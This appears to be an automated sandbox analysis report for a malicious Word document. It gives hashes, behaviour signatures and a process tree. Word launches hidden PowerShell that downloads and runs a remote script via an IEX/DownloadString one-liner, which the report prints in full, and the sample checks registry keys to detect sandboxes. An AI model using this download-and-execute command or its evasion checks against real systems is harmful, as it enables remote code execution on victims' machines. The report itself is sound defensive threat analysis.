Analysis
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max time kernel
48s -
max time network
38s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
03/11/2024, 21:01
Behavioral task
behavioral1
Sample
9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc
Resource
win10v2004-20241007-en
General
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Target
9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc
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Size
29KB
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MD5
ac9318d0e8db68d68897f7b226e17386
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SHA1
96a6eadd0779bfbf47b3a1a3a21c6841faa7279e
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SHA256
9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315
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SHA512
c36009ed76e35a43401b2058060d6d4297a74f7ee98ba580cb4be6725c72b4662d043fcfabe073f3e561aa607835a44bfcca2dc5969777ce557fb0e22f2639a9
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SSDEEP
192:5EO0lLZEvA+6/6r8px8SmvowzxHq30wa6Y6P0tPBxV05JB8aY:a/8iS8px8SMDHgBctK5J
Malware Config
Extracted
http://127.0.0.1:8000/arquivos/windows.txt
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4544 2360 powershell.exe 85 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4544 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2360 WINWORD.EXE 2360 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4544 powershell.exe 4544 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4544 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 2360 WINWORD.EXE 2360 WINWORD.EXE 2360 WINWORD.EXE 2360 WINWORD.EXE 2360 WINWORD.EXE 2360 WINWORD.EXE 2360 WINWORD.EXE 2360 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2360 wrote to memory of 4544 2360 WINWORD.EXE 90 PID 2360 wrote to memory of 4544 2360 WINWORD.EXE 90
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4544
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize3KB
MD578c74641d9cf7c01e5603371f484d08e
SHA163a4848a44f09845d532fe233f10236111989c71
SHA25641bfebc324f7ddad77f83d32e17da066d315a72babc5e3ece3333780350a133a
SHA51294c854db9ac5831cb5f621ff2f7b539202896cce7ae6081579e641db1cf6809c054044a60484bb169be85874e9f35f68236a6ebb0a243cfea1c87a24d0cce30f